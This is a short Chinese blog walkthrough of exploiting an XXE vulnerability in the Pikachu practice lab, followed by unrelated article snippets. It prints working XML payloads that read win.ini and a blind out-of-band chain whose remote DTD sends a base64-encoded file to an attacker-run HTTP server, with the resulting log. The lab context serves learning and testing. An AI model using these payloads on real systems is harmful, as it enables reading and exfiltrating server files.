pikachu验证XXE漏洞

news/2025/2/22 17:39:42/

先随便输入一个内容查看

服务器有回显

接下来用bp抓包看下参数

有个xml参数,而且Content-Type: application/x-www-form-urlencoded,我们传入url编码后的xml内容试一下

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe "你好吗?" >
]>
<foo>&xxe;</foo>

url编码后放入参数xml

接下来试试能不能读取系统文件内容

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini" >
]>
<foo>&xxe;</foo>

假如服务器没有回显

我们可以打一个自己的服务器尝试请求

python -m http.server 99

每次访问都会有记录

http://localhost:99/xxe.dtd内容

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/win.ini" >
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://localhost:99?c=%file;'>">

POC:

<!DOCTYPE convert [<!ENTITY % remote SYSTEM "http://localhost:99/xxe.dtd">%remote;%int;%send;
]>

::1 - - [02/Mar/2024 23:18:52] "GET /?c=OyBmb3IgMTYtYml0IGFwcCBzdXBwb3J0DQpbZm9udHNdDQpbZXh0ZW5zaW9uc10NClttY2kgZXh0ZW5zaW9uc10NCltmaWxlc10NCltNYWlsXQ0KTUFQST0xDQo= HTTP/1.0" 200 -
参数c的值就是文件内容的base64编码


http://www.ppmy.cn/news/1368605.html

相关文章

React富文本编辑器开发(一)

这是一个系统的完整的教程&#xff0c;每一节文章的内容都很重要。这个教程学完后自己可以开发出一个相当完美的富文本编辑器了。下面就开始我们今天的内容&#xff1a; 安装 是的&#xff0c;我们的开发是基于Slate的开发基础&#xff0c;所以要安装它&#xff1a; yarn ad…

T3SF:一款功能全面的桌面端技术练习模拟框架

关于T3SF T3SF是一款功能全面的桌面端技术练习模拟框架&#xff0c;该工具针对基于主场景事件列表的各种事件提供了模块化的架构&#xff0c;并包含了针对每一个练习定义的规则集&#xff0c;以及允许为对应平台参数定义参数的配置文件。 该工具的主模块能够执行与其他特定模…

vue-router4 (三) 路由导航的2种方法

const routes:Array<RouteRecordRaw> [{path:"/", //路径name:"Login", //路由名称component:()>import("../components/login.vue") //组件名&#xff0c;此处懒加载方式},{path:"/reg",name:"Reg",compone…

25高数考研张宇 -- 公式总结(更新中)

1. 两个重要极限 (1) lim ⁡ x → 0 sin ⁡ x x 1 \lim _{x \rightarrow 0} \frac{\sin x}{x}1 limx→0​xsinx​1, 推广形式 lim ⁡ f ( x ) → 0 sin ⁡ f ( x ) f ( x ) 1 \lim _{f(x) \rightarrow 0} \frac{\sin f(x)}{f(x)}1 limf(x)→0​f(x)sinf(x)​1. (2) lim ⁡…

在您的下一个项目中选择 Golang 和 Node.js 之间的抉择

作为一名软件开发者&#xff0c;我总是在寻找构建应用程序的最快、最高效的工具。在速度和处理复杂任务方面&#xff0c;我认为 Golang 和 Node.js 是顶尖技术。两者在性能方面都享有极高的声誉。但哪一个更快——Golang 还是 Node&#xff1f;我决定深入一些硬核基准测试&…

MBD开发专栏介绍

文章目录 MBD概念MBD工具箱介绍MBD专栏介绍MBD概念 MBD : Model-Based Design,基于模型的设计方法是一种系统开发方法论,即对系统进行建模、分析、验证,然后基于模型自动生成代码、测试用例和文档的设计开发过程MBD采用的是基于自然语言和图形语言的双重建模方式,让模型与用…

Cypher语句查询neo4j数据库教程

文章目录 Cypher介绍执行Cypher语句查询总结 Cypher介绍 NodeMatcher和RelationshipMatcher能够表达的匹配条件相对简单&#xff0c;更加复杂的查询还是需要用Cypher语句来表达。 Py2neo本身支持执行Cypher语句的执行&#xff0c;可以将复杂的查询写成Cypher语句&#xff0c;…

WPF margin属性学习

一开始margin如下&#xff0c;显示如下&#xff1b; margin有四个值的时候是left、top、right、bottom&#xff1b; 如果是Margin“20,10”&#xff0c;则是指left、right设置为20&#xff0c;top、bottom设置为10&#xff1b; 看上去有些问题&#xff0c;现在top为负&#xf…